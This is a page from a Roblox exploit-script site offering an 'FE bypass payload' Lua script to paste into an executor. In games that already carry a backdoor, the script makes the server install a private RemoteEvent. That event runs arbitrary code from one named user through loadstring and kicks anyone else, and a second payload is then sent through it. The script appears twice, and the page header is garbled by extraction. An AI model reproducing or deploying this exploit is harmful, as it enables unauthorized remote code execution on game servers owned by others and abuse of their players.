fe bypass payload method · RobloxExploits.lolfe bypass payload method
foidgee 1 year ago 5.6K views 1Run it
Copy the script and paste it into your executor.
fe bypass payload method.lua · 113 lines Remote = .ReplicatedStorage:()
InitPayload =
Remote:(InitPayload)
()
SecureRemote = .Workspace:(, )
Payload =
SecureRemote:(Payload)
()
Lua
Remote = .ReplicatedStorage:()
InitPayload =
Remote:(InitPayload)
()
SecureRemote = .Workspace:(, )
Payload =
SecureRemote:(Payload)
()
About this script
if u need help making a gui or anything feel free to dm me on discord - qyv6
(only works on backdoored games lol)
fe bypass
``
`Lua
local
game
WaitForChild
"RemoteEvent"
-- replace every instance of "hyperionsobadlolz" with "<ur username>"
local
[[
task.spawn(function()
local success, err = pcall(function()
local SecureRemote = Instance.new("RemoteEvent")
SecureRemote.OnServerEvent:Connect(function(plr, payload)
if plr ~= game.Players["hyperionsobadlolz"] then
SecureRemote:FireClient(game.Players["hyperionsobadlolz"], plr.Name)
plr:Kick("Private backdoor, dont touch.")
return
end
local success, err = pcall(function()
loadstring(payload)()
end)
if not success then
local msg = Instance.new("Hint", game.Workspace)
msg.Text = "Admin payload internal error: " .. tostring(err)
task.delay(10, function() msg:Destroy() end)
end
end)
SecureRemote.Parent = game.Workspace
SecureRemote.Name = "SecureRemote"
end)
if not success then
local msg = Instance.new("Hint", game.Workspace)
msg.Text = "Init payload error: "..err
task.wait(20)
msg:Destroy()
else
local msg = Instance.new("Hint", game.Workspace)
msg.Text = "Init payload received!"
task.wait(5)
msg:Destroy()
end
end)
]]
FireServer
warn
"Sent init payload!"
local
game
WaitForChild
"SecureRemote"
10
local
[[
-- actual code here
]]
FireServer
warn
"Sent main payload!"
``
``
``
local
game
WaitForChild
"RemoteEvent"
-- replace every instance of "hyperionsobadlolz" with "<ur username>"
local
[[
task.spawn(function()
local success, err = pcall(function()
local SecureRemote = Instance.new("RemoteEvent")
SecureRemote.OnServerEvent:Connect(function(plr, payload)
if plr ~= game.Players["hyperionsobadlolz"] then
SecureRemote:FireClient(game.Players["hyperionsobadlolz"], plr.Name)
plr:Kick("Private backdoor, dont touch.")
return
end
local success, err = pcall(function()
loadstring(payload)()
end)
if not success then
local msg = Instance.new("Hint", game.Workspace)
msg.Text = "Admin payload internal error: " .. tostring(err)
task.delay(10, function() msg:Destroy() end)
end
end)
SecureRemote.Parent = game.Workspace
SecureRemote.Name = "SecureRemote"
end)
if not success then
local msg = Instance.new("Hint", game.Workspace)
msg.Text = "Init payload error: "..err
task.wait(20)
msg:Destroy()
else
local msg = Instance.new("Hint", game.Workspace)
msg.Text = "Init payload received!"
task.wait(5)
msg:Destroy()
end
end)
]]
FireServer
warn
"Sent init payload!"
local
game
WaitForChild
"SecureRemote"
10
local
[[
-- actual code here
]]
FireServer
warn
"Sent main payload!"
``
`
Soggyware 60 PLUS Games
Universal